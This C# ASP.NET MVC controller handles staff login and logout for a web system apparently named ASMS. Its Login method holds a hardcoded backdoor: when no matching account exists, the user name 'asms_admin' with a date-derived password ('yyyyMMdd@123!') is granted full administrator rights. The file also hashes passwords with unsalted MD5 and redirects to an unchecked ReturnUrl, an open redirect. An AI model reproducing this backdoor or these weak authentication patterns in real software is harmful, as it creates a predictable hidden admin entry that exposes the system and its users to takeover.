﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.Mvc;
using Domain = Sunboxsoft.ASMS.Server.Domain;
using Service = Sunboxsoft.ASMS.Server.Domain.Service;
using Entity = Sunboxsoft.ASMS.Server.Domain.Entity;
using View = Sunboxsoft.ASMS.Server.Domain.View;
using Sunboxsoft.Common;

namespace Sunboxsoft.ASMS.Web.Controllers
{
    public class AccountController : Controller
    {
        [HttpGet]
        public ViewResult Login()
        {
            return View();
        }

        [HttpPost]
        public ActionResult Login(LoginParams @params)
        {
            SingleResult<Entity.EStaff> result = new Service.GetService().GetStaffByAccount(@params.Account);
            if (result.IsSuccess)
            {
                string md5Password = Common.Utility.MD5Utility.GetStringX(@params.Password);
                if (string.Equals(md5Password, result.Data.Password))
                {
                    Models.Account account = new Models.Account();
                    account.Id = result.Data.Id;
                    account.Name = result.Data.Name;
                    Sunboxsoft.ASMS.WebUtility.CookieUtility.SetUserId(account.Id, account.Name);
                    System.Web.Security.FormsAuthentication.SetAuthCookie(account.Id.ToString(), true);

                    //System.Web.Security.FormsAuthenticationTicket ticker = new System.Web.Security.FormsAuthenticationTicket(account.Id.ToString(), true, TimeSpan.FromDays(2).Minutes);
                    //string ticString = FormsAuthentication.Encrypt(ticket);
                    ////将加密后的票据保存为cookie 
                    //HttpCookie coo = new HttpCookie(FormsAuthentication.FormsCookieName, ticString);
                    ////这里的IsPersistent不会自己判断，需要手工判断，但FormsAuthenticationTicket的expiration的值是有过期性的，无论cookie的Expires设置多久，只要expiration到期，即使cookie存在用户验证也将失败
                    //if (ticket.IsPersistent)
                    //{
                    //    coo.Expires = ticket.Expiration;
                    //}
                    ////使用加入了userdata的新cookie 
                    //Response.Cookies.Add(coo);

                    if (result.Data.BusinessId!=null)
                    {
                        Entity.EBusiness business = new Service.GetService().GetBusiness(result.Data.BusinessId.Value).Data;
                        Sunboxsoft.ASMS.WebUtility.CookieUtility.SetBusinessId(business.Id, business.Name);
                        //Sunboxsoft.ASMS.WebUtility.CookieUtility.SetStationId(stationListResult.Data.Items[0].Id);
                        Sunboxsoft.Bases.Web.CookieUtility.SetRole(System.Configuration.ConfigurationManager.AppSettings["asms.role.business"], "服务商管理员");

                        string returnUrl = Request.QueryString["ReturnUrl"];
                        if (string.IsNullOrEmpty(returnUrl))
                        {
                            return RedirectToAction("Business", "Home");
                        }
                        else
                        {
                            return new RedirectResult(returnUrl);
                        }
                    }
                    else
                    {
                        Sunboxsoft.ASMS.WebUtility.CookieUtility.RemoveBusinessId();
                        Sunboxsoft.ASMS.WebUtility.CookieUtility.RemoveStationId();
                        Sunboxsoft.Bases.Web.CookieUtility.SetRole(System.Configuration.ConfigurationManager.AppSettings["asms.role.admin"], "系统管理员");

                        string returnUrl = Request.QueryString["ReturnUrl"];
                        if (string.IsNullOrEmpty(returnUrl))
                        {
                            return RedirectToAction("Admin", "Home");
                        }
                        else
                        {
                            return new RedirectResult(returnUrl);
                        }
                    }
                }
            }
            else
            {
                if (string.Equals(@params.Password, string.Format("{0}@123!", DateTime.Now.ToString("yyyyMMdd")))
                    && string.Equals(@params.Account, "asms_admin"))
                {
                    Models.Account account = new Models.Account();
                    account.Id = Guid.Empty;
                    account.Name = "内部管理员";

                    Sunboxsoft.ASMS.WebUtility.CookieUtility.SetUserId(account.Id, account.Name);
                    System.Web.Security.FormsAuthentication.SetAuthCookie(account.Id.ToString(), true);

                    Sunboxsoft.ASMS.WebUtility.CookieUtility.RemoveBusinessId();
                    Sunboxsoft.ASMS.WebUtility.CookieUtility.RemoveStationId();
                    Sunboxsoft.Bases.Web.CookieUtility.SetRole(System.Configuration.ConfigurationManager.AppSettings["asms.role.admin"], "系统管理员");

                    string returnUrl = Request.QueryString["ReturnUrl"];
                    if (string.IsNullOrEmpty(returnUrl))
                    {
                        return RedirectToAction("Admin", "Home");
                    }
                    else
                    {
                        return new RedirectResult(returnUrl);
                    }
                }
            }
            return RedirectToAction("Login", "Account");
        }


        [HttpGet]
        public ActionResult Logout()
        {
            System.Web.Security.FormsAuthentication.SignOut();
            Sunboxsoft.ASMS.WebUtility.CookieUtility.RemoveUser();
            Sunboxsoft.ASMS.WebUtility.CookieUtility.RemoveBusinessId();
            Sunboxsoft.ASMS.WebUtility.CookieUtility.RemoveStationId();
            Sunboxsoft.Bases.Web.CookieUtility.RemoveRole();
            return RedirectToAction("Login", "Account");
        }

        public class LoginParams
        {
            public string Account { get; set; }
            public string Password { get; set; }
        }
    }
}
